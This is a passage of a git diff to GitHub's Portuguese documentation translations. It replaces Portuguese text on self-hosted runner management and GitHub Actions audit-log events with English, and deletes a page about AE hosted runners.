executores auto-hospedados, recomenda-se adicionar seus executores ao nível mais alto da organização mútua ou da empresa. Isto fornece à sua equipe um único local para visualizar e gerenciar seus executores. - - Se você tiver apenas uma única organização, adicionar seus executores ao nível da organização é, de fato, a mesma abordagem, mas você pode encontrar dificuldades se você adicionar outra organização no futuro. +**Centralised management:** + - If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners. + - If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future. -**Gestão descentralizada:** - - Se cada equipe irá gerenciar seus próprios executores hospedados, recomenda-se que você adicione os executores ao mais alto nível de propriedade da equipe. Por exemplo, se cada equipe possui sua própria organização, será mais simples se os executores também forem adicionados ao nível da organização. - - Você também pode adicionar executores no nível de repositório, mas isso adicionará uma sobrecarga de gerenciamento e também aumentará o número de executores necessários já que você não pode compartilhar executores entre repositórios. +**De-centralised management:** + - If each team will manage their own self-hosted runners, then its recommended that you add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too. + - You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories. {% ifversion fpt or ghec or ghae-issue-4856 %} -### Efetuando a autenticação para seu provedor de nuvem +### Authenticating to your cloud provider -Se você está usando {% data variables.product.prodname_actions %} para implantar para um provedor da nuvem, ou pretender usar o HashiCorp Vault para o gerenciamento de segredos, recomenda-se que você use o OpenID Connect para criar tokens de acesso com escopos bem definidos, curtos e para as execuções do seu fluxo de trabalho. Para obter mais informações, consulte[Sobre o enrijecimento da segurança com o OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)". +If you are using {% data variables.product.prodname_actions %} to deploy to a cloud provider, or intend to use HashiCorp Vault for secret management, then its recommended that you consider using OpenID Connect to create short-lived, well-scoped access tokens for your workflow runs. For more information, see "[About security hardening with OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)." {% endif %} -## Auditar eventos de {% data variables.product.prodname_actions %} +## Auditing {% data variables.product.prodname_actions %} events -Você pode usar o log de auditoria para monitorar tarefas administrativas em uma organização. O log de auditoria registra o tipo de ação, quando foi executado, e qual conta de usuário executou a ação. +You can use the audit log to monitor administrative tasks in an organization. The audit log records the type of action, when it was run, and which user account performed the action. -Por exemplo, você pode usar o log de auditoria para acompanhar o evento `org.update_actions_secret`, que controla as alterações nos segredos da organização: ![Entradas do log de auditoria](/assets/images/help/repository/audit-log-entries.png) +For example, you can use the audit log to track the `org.update_actions_secret` event, which tracks changes to organization secrets: + ![Audit log entries](/assets/images/help/repository/audit-log-entries.png) -As tabelas a seguir descrevem os eventos de {% data variables.product.prodname_actions %} que você pode encontrar no log de auditoria. Para obter mais informações sobre como usar o log de auditoria, consulte [Revisar o log de auditoria para a sua organização](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)". +The following tables describe the {% data variables.product.prodname_actions %} events that you can find in the audit log. For more information on using the audit log, see +"[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)." {% ifversion fpt or ghec %} -### Eventos para ambientes +### Events for environments -| Ação | Descrição | -| ----------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `environment.create_actions_secret` | Acionada quando um segredo é criado em um ambiente. Para obter mais informações, consulte ["Segredos do ambiente](/actions/reference/environments#environment-secrets)". | -| `environment.delete` | Acionada quando um ambiente é excluído. Para obter mais informações, consulte ["Excluir um ambiente](/actions/reference/environments#deleting-an-environment)". | -| `environment.remove_actions_secret` | Acionada quando um segredo é removido de um ambiente. Para obter mais informações, consulte ["Segredos do ambiente](/actions/reference/environments#environment-secrets)". | -| `environment.update_actions_secret` | Acionada quando um segredo em um ambiente é atualizado. Para obter mais informações, consulte ["Segredos do ambiente](/actions/reference/environments#environment-secrets)". | +| Action | Description +|------------------|------------------- +| `environment.create_actions_secret` | Triggered when a secret is created in an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +| `environment.delete` | Triggered when an environment is deleted. For more information, see ["Deleting an environment](/actions/reference/environments#deleting-an-environment)." +| `environment.remove_actions_secret` | Triggered when a secret is removed from an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." +| `environment.update_actions_secret` | Triggered when a secret in an environment is updated. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)." {% endif %} {% ifversion fpt or ghes or ghec %} -### Eventos para alterações nas configurações -| Ação | Descrição | -| ---------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `repo.actions_enabled` | Acionada quando {% data variables.product.prodname_actions %} está habilitado para um repositório. Pode ser visto usando a interface do usuário. Este evento não fica visível quando você acessar o log de auditoria usando a API REST. Para obter mais informações, consulte "[Usar a API REST](#using-the-rest-api)". | +### Events for configuration changes +| Action | Description +|------------------|------------------- +| `repo.actions_enabled` | Triggered when {% data variables.product.prodname_actions %} is enabled for a repository. Can be viewed using the UI. This event is not visible when you access the audit log using the REST API. For more information, see "[Using the REST API](#using-the-rest-api)." {% endif %} -### Eventos para gerenciamento de segredo -| Ação | Descrição | -| ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `org.create_actions_secret` | Acionada quando um segredo {% data variables.product.prodname_actions %} é criado na organização. Para obter mais informações, consulte "[Criar segredos criptografados para uma organização](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)". | -| `org.remove_actions_secret` | Acionada quando um segredo {% data variables.product.prodname_actions %} é removido. | -| `org.update_actions_secret` | Acionada quando um segredo {% data variables.product.prodname_actions %} é atualizado. | -| `repo.create_actions_secret` | Acionada quando um segredo {% data variables.product.prodname_actions %} é criado em um repositório. Para obter mais informações, consulte "[Criar segredos criptografados para um repositório](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)". | -| `repo.remove_actions_secret` | Acionada quando um segredo {% data variables.product.prodname_actions %} é removido. | -| `repo.update_actions_secret` | Acionada quando um segredo {% data variables.product.prodname_actions %} é atualizado. | +### Events for secret management +| Action | Description +|------------------|------------------- +| `org.create_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is created for an organization. For more information, see "[Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)." +| `org.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed. +| `org.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated. +| `repo.create_actions_secret ` | Triggered when a {% data variables.product.prodname_actions %} secret is created for a repository. For more information, see "[Creating encrypted secrets for a repository](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)." +| `repo.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed. +| `repo.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated. -### Eventos para executores auto-hospedados -| Ação | Descrição | -| ----------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `enterprise.register_self_hosted_runner` | Acionada quando um novo executor auto-hospedado é registrado. Para obter mais informações, consulte "[Adicionar um executor auto-hospedado a uma empresa](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)". | -| `enterprise.remove_self_hosted_runner` | Acionada quando um executor auto-hospedado é removido. | -| `enterprise.runner_group_runners_updated` | Acionada quando a lista de membros do grupo do executor é atualizada. Para obter mais informações, consulte "[Definir executores auto-hospedados em um grupo para uma organização](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization).{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `enterprise.self_hosted_runner_online` | Acionada quando o aplicativo do executor é iniciado. Só pode ser visto usando a API REST. Não é visível na interface do usuário ou na exportação do JSON/CSV. Para obter mais informações, consulte "[Verificar o status de um executor auto-hospedado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)". | -| `enterprise.self_hosted_runner_offline` | Acionada quando o aplicativo do executor é interrompido. Só pode ser visto usando a API REST. Não é visível na interface do usuário ou na exportação do JSON/CSV. Para obter mais informações, consulte "[Verificar o status de um executor auto-hospedado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)".{% endif %} -| `enterprise.self_hosted_runner_updated` | Acionada quando o executor é atualizado. Pode ser visualizado usando a API REST e a interface do usuário. Este evento não está incluído quando você exportar o log de auditoria como dados JSON ou um arquivo CSV. Para obter mais informações, consulte "[Sobre executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" e "[Revisar o log de auditoria para a sua organização](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)". | -| `org.register_self_hosted_runner` | Acionada quando um novo executor auto-hospedado é registrado. Para obter mais informações, consulte "[Adicionar um executor auto-hospedado a uma organização](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)". | -| `org.remove_self_hosted_runner` | Acionada quando um executor auto-hospedado é removido. Para obter mais informações, consulte [Remover um executor de uma organização](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization). | -| `org.runner_group_runners_updated` | Acionada quando a lista de integrantes do grupo de executor é atualizada. Para obter mais informações, consulte "[Definir executores auto-hospedados em um grupo para uma organização](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)". | -| `org.runner_group_updated` | Acionada quando a configuração de um grupo de executor auto-hospedado é alterada. Para obter mais informações, consulte "[Alterar a política de acesso de um grupo de executor auto-hospedado](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)".{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `org.self_hosted_runner_online` | Acionada quando o aplicativo do executor é iniciado. Só pode ser visto usando a API REST. Não é visível na interface do usuário ou na exportação do JSON/CSV. Para obter mais informações, consulte "[Verificar o status de um executor auto-hospedado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)". | -| `org.self_hosted_runner_offline` | Acionada quando o aplicativo do executor é interrompido. Só pode ser visto usando a API REST. Não é visível na interface do usuário ou na exportação do JSON/CSV. Para obter mais informações, consulte "[Verificar o status de um executor auto-hospedado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)".{% endif %} -| `org.self_hosted_runner_updated` | Acionada quando o executor é atualizado. Pode ser visto usando a API REST e a interface do usuário; não visível na exportação de JSON/CSV. Para obter mais informações, consulte "[Sobre os executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." | -| `repo.register_self_hosted_runner` | Acionada quando um novo executor auto-hospedado é registrado. Para obter mais informações, consulte "[Adicionar um executor auto-hospedado a um repositório](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository). ". | -| `repo.remove_self_hosted_runner` | Acionada quando um executor auto-hospedado é removido. Para obter mais informações, consulte "[Remover um executor de um repositório](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `repo.self_hosted_runner_online` | Acionada quando o aplicativo do executor é iniciado. Só pode ser visto usando a API REST. Não é visível na interface do usuário ou na exportação do JSON/CSV. Para obter mais informações, consulte "[Verificar o status de um executor auto-hospedado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)". | -| `repo.self_hosted_runner_offline` | Acionada quando o aplicativo do executor é interrompido. Só pode ser visto usando a API REST. Não é visível na interface do usuário ou na exportação do JSON/CSV. Para obter mais informações, consulte "[Verificar o status de um executor auto-hospedado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)".{% endif %} -| `repo.self_hosted_runner_updated` | Acionada quando o executor é atualizado. Pode ser visto usando a API REST e a interface do usuário; não visível na exportação de JSON/CSV. Para obter mais informações, consulte "[Sobre os executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." | +### Events for self-hosted runners +| Action | Description +|------------------|------------------- +| `enterprise.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an enterprise](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)." +| `enterprise.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. +| `enterprise.runner_group_runners_updated` | Triggered when a runner group's member list is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `enterprise.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `enterprise.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} +| `enterprise.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI. This event is not included when you export the audit log as JSON data or a CSV file. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" and "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)." +| `org.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)." +| `org.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see [Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization). +| `org.runner_group_runners_updated` | Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)." +| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `org.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `org.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} +| `org.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." +| `repo.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)." +| `repo.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `repo.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `repo.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} +| `repo.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." -### Eventos para grupos de executores auto-hospedados -| Ação | Descrição | -| ---------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `enterprise.runner_group_created` | Acionada quando um grupo de executores auto-hospedado é criado. Para obter mais informações, consulte "[Criar um grupo de um executor auto-hospedado para uma empresa](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)". | -| `enterprise.runner_group_removed` | Acionada quando um grupo de executores auto-hospedados é removido. Para obter mais informações, consulte "[Remover um grupo de executores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)". | -| `enterprise.runner_group_runner_removed` | Acionada quando a API REST é usada para remover um executor auto-hospedado de um grupo. | -| `enterprise.runner_group_runners_added` | Acionada quando um executor auto-hospedado é adicionado a um grupo. Para obter mais informações, consulte "[Mover um executorauto-hospedado para um grupo](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)". | -| `enterprise.runner_group_updated` | Acionada quando a configuração de um grupo de executor auto-hospedado é alterada. Para obter mais informações, consulte "[Alterar a política de acesso de um grupo de executores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)". | -| `org.runner_group_created` | Acionada quando um grupo de executores auto-hospedado é criado. Para obter mais informações, consulte "[Criar um grupo de executores auto-hospedados para uma organização](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)". | -| `org.runner_group_removed` | Acionada quando um grupo de executores auto-hospedados é removido. Para obter mais informações, consulte "[Remover um grupo de executores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)". | -| `org.runner_group_updated` | Acionada quando a configuração de um grupo de executor auto-hospedado é alterada. Para obter mais informações, consulte "[Alterar a política de acesso de um grupo de executores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)". | -| `org.runner_group_runners_added` | Acionada quando um executor auto-hospedado é adicionado a um grupo. Para obter mais informações, consulte "[Mover um executorauto-hospedado para um grupo](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)". | -| `org.runner_group_runner_removed` | Acionada quando a API REST é usada para remover um executor auto-hospedado de um grupo. Para obter mais informações, consulte "[Remover um executor auto-hospedado de um grupo para uma organização](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)". | +### Events for self-hosted runner groups +| Action | Description +|------------------|------------------- +| `enterprise.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an enterprise](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)." +| `enterprise.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)." +| `enterprise.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. +| `enterprise.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)." +| `enterprise.runner_group_updated` |Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +| `org.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)." +| `org.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)." +| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +| `org.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)." +| `org.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)." -### Eventos para atividades no fluxo de trabalho +### Events for workflow activities {% data reusables.actions.actions-audit-events-workflow %} diff --git a/translations/pt-BR/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md b/translations/pt-BR/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md deleted file mode 100644 index 23af1b4c2e..0000000000 --- a/translations/pt-BR/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Sobre os executores hospedados de AE -intro: '{% data variables.product.prodname_ghe_managed %} oferece máquinas virtuais hospedadas de forma personalizável para executar fluxos de trabalho de {% data variables.product.prodname_actions %}. Você pode selecionar o hardware, trazer sua própria imagem de máquina e habilitar um endereço de IP para a rede com o seu {% data variables.actions.hosted_runner %}.' -versions: - ghae: '*' ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -## Sobre {% data variables.actions.hosted_runner %}s - -Um {% data variables.actions.hosted_runner %} é uma máquina virtual gerenciada por {% data variables.product.prodname_dotcom %} com o serviço de executor de {% data variables.product.prodname_actions %} instalado. {% data variables.actions.hosted_runner %} são dedicados à sua empresa e você pode escolher entre várias opções de hardware e software. Por padrão, {% data variables.actions.hosted_runner %} são totalmente gerenciados e autodimensionados por {% data variables.product.company_short %} para maximizar o desempenho, minimizando os custos.{% ifversion ghae-next %} Opcionalmente, você pode configurar os parâmetros deste autodimensionamento para reduzir ainda mais o seu custo.{% endif %} - -{% data variables.product.prodname_ghe_managed %} permite que você crie e personalize {% data variables.actions.hosted_runner %} usando imagens do Ubuntu ou Windows. Você pode selecionar o tamanho da máquina que quiser e, opcionalmente, configurar um intervalo de IP público fixo para seus {% data variables.actions.hosted_runner %}s. - -Cada trabalho do fluxo de trabalho é executado em uma nova instância do {% data variables.actions.hosted_runner %} e você poderá executar fluxos de trabalho diretamente na máquina virtual ou em um contêiner do Docker. Todas as etapas da tarefa executada na mesma instância, permitindo que as ações desse trabalho compartilhem informações que usam o sistema de arquivos de {% data variables.actions.hosted_runner %}. - -Para adicionar {% data variables.actions.hosted_runner %}s à sua organização ou empresa, consulte ["Adicionar {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/adding-ae-hosted-runners)". - -## Recomendações de grupo para {% data variables.actions.hosted_runner %}s - -Os seus {% data variables.actions.hosted_runner %}s estão alocados no mesmo grupo que a sua instância de {% data variables.product.prodname_ghe_managed %}. Nenhum outro cliente tem acesso a este grupo e, como resultado, {% data variables.actions.hosted_runner %}s não são compartilhados com nenhum outro cliente. - -## Gerenciar seus {% data variables.actions.hosted_runner %}s - -Durante o beta de {% data variables.actions.hosted_runner %}, você pode gerenciar seus {% data variables.actions.hosted_runner %}s entrando em contato com o suporte de {% data variables.product.prodname_dotcom %}. Por exemplo, o suporte de {% data variables.product.prodname_dotcom %} pode ajudá-lo a adicionar um novo {% data variables.actions.hosted_runner %}, atribuir etiquetas ou transferir um {% data variables.actions.hosted_runner %} para um grupo diferente. - -## Cobrança - -Assim que a versão beta terminar, o uso faturado incluirá a atividade completa de instâncias ativas em seus conjuntos de executores hospedados de AE. Isto inclui: -- Tempo de trabalho - minutos gastos executando o trabalho de ações. -- Gerenciamento - minutos gastos de para recriar as imagens das máquinas{% ifversion ghae-next %} e qualquer tempo ocioso criado como resultado do comportamento do autodimensionamento desejado{% endif %}. - -A precificação será escalada linearmente com núcleos. Por exemplo, 4 núcleos serão o dobro do preço de 2 núcleos. Os VMs do Windows terão um preço superior aos VMs do Linux. - -## Especificações de hardware - -{% data variables.actions.hosted_runner %}s estão disponíveis em uma série de máquinas virtuais hospedadas no Microsoft Azure. Dependendo da disponibilidade regional, você pode escolher entre `Standard_Das_v4`, `Standard_DS_v2`, `Standard_Fs_v2 series`. Algumas regiões também incluem executores de GPU com base no `Standard_NCs_v3`. - -Para obter mais informações sobre os recursos da máquina do Azure, consulte "[Tamanhos para máquinas virtuais no Azure](https://docs.microsoft.com/en-gb/azure/virtual-machines/sizes)" na documentação do Microsoft Azure. - -Para determinar qual executor realizou um trabalho, você pode rever os logs do fluxo de trabalho. Para obter mais informações, consulte "[Visualizar histórico de execução de fluxo de trabalho](/actions/managing-workflow-runs/viewing-workflow-run-history)". - -## Especificações do software - -Você pode usar {% data variables.actions.hosted_runner %}s com imagens padrão do sistema operacional ou pode adicionar imagens que você criou. - -### Imagens padrão do sistema operacional - -Estas imagens incluem apenas as ferramentas padrão do sistema operacional: - -- Ubuntu 18.04 LTS (Canonical) -- Ubuntu 16.04 LTS (Canonical) -- Windows Server 2019 (Microsoft) -- Windows Server 2016 (Microsoft) - -### Imagens personalizadas do sistema operacional - -Você pode criar suas próprias imagens de OS no Azure e adicioná-las a {% data variables.product.prodname_ghe_managed %} como {% data variables.actions.hosted_runner %}s. Para obter mais informações, consulte "[Adicionar um {% data variables.actions.hosted_runner %} com uma imagem personalizada"](/actions/using-github-hosted-runners/adding-ae-hosted-runners#adding-an-ae-hosted-runner-with-a-custom-image). - -## Especificações de rede - -Opcionalmente, você pode habilitar um endereço de IP público estático e fixo para seus {% data variables.actions.hosted_runner %}s. Se habilitados, todos os {% data variables.actions.hosted_runner %}s na sua instância compartilharão uma faixa de 2 a 4 endereços IP, e irão comunicar-se usando as portas nesses endereços. - -Se você não habilitar endereços IP públicos estáticos, os {% data variables.actions.hosted_runner %}s terão, subsequentemente, as mesmas faixas de endereços IP que os centros de dados do Azure. Os pacotes ICMP de entrada estão bloqueados. Portanto, não se espera que os comandos `ping` ou `traceroute` funcionem. - -Para obter uma lista de intervalos de endereços IP que {% data variables.product.prodname_actions %} usa para {% data variables.actions.hosted_runner %}, você pode usar a API REST de {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte a chave de `ações` na resposta do ponto de extremidade "[Obtenha as metainformações do GitHub](/rest/reference/meta#get-github-meta-information)". Você pode usar essa lista de endereços IP se precisar de uma lista de permissão para evitar acesso não autorizado para os seus recursos internos. - -A lista de endereços IP de {% data variables.product.prodname_actions %} retornados pela API é atualizada uma vez por semana. - -{% ifversion ghae-next %} - -## Autodimensionamento - -Cada conjunto de {% data variables.actions.hosted_runner %}s é totalmente gerenciado por {% data variables.product.company_short %} para maximizar o desempenho e minimizar os custos. Opcionalmente, você pode configurar os parâmetros de autodimensionamento para sua empresa entrando em contato com {% data variables.contact.github_support %}. Você pode definir o número mínimo de executores ociosos e quanto tempo um executor deve permanecer ocioso antes de ser removido do grupo. Cada grupo pode conter até 600 executores. - -{% endif %} - -## Privilégios administrativos para {% data variables.actions.hosted_runner %}s - -As máquinas virtuais do Linux são executadas, usando `sudo` sem senha. Quando precisar executar comandos ou instalar ferramentas que exigem mais permissões que o usuário atual possui, você pode usar `sudo` sem a necessidade de fornecer uma senha. Para obter mais informações, consulte o "[Manual do Sudo](https://www.sudo.ws/man/1.8.27/sudo.man.html)". - -As máquinas virtuais do Windows estão configuradas para ser executadas como administradores com Controle de Conta de Usuário (UAC) desativado. Para obter mais informações, consulte "[Como funciona o Controle de Conta de Usuário](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)" na documentação do Windows. - -## Sistemas de arquivos - -O {% data variables.product.prodname_dotcom %} executa ações e comandos de shell em diretórios específicos na máquina virtual. Os caminhos dos arquivos nas máquinas virtuais não são estáticos. Use as variáveis de ambiente que {% data variables.product.prodname_dotcom %} fornece para construir caminhos de arquivos para os diretórios `home`, `workspace` e `workflow`. - -| Diretório | Variável de ambiente | Descrição | -| --------------------- | -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 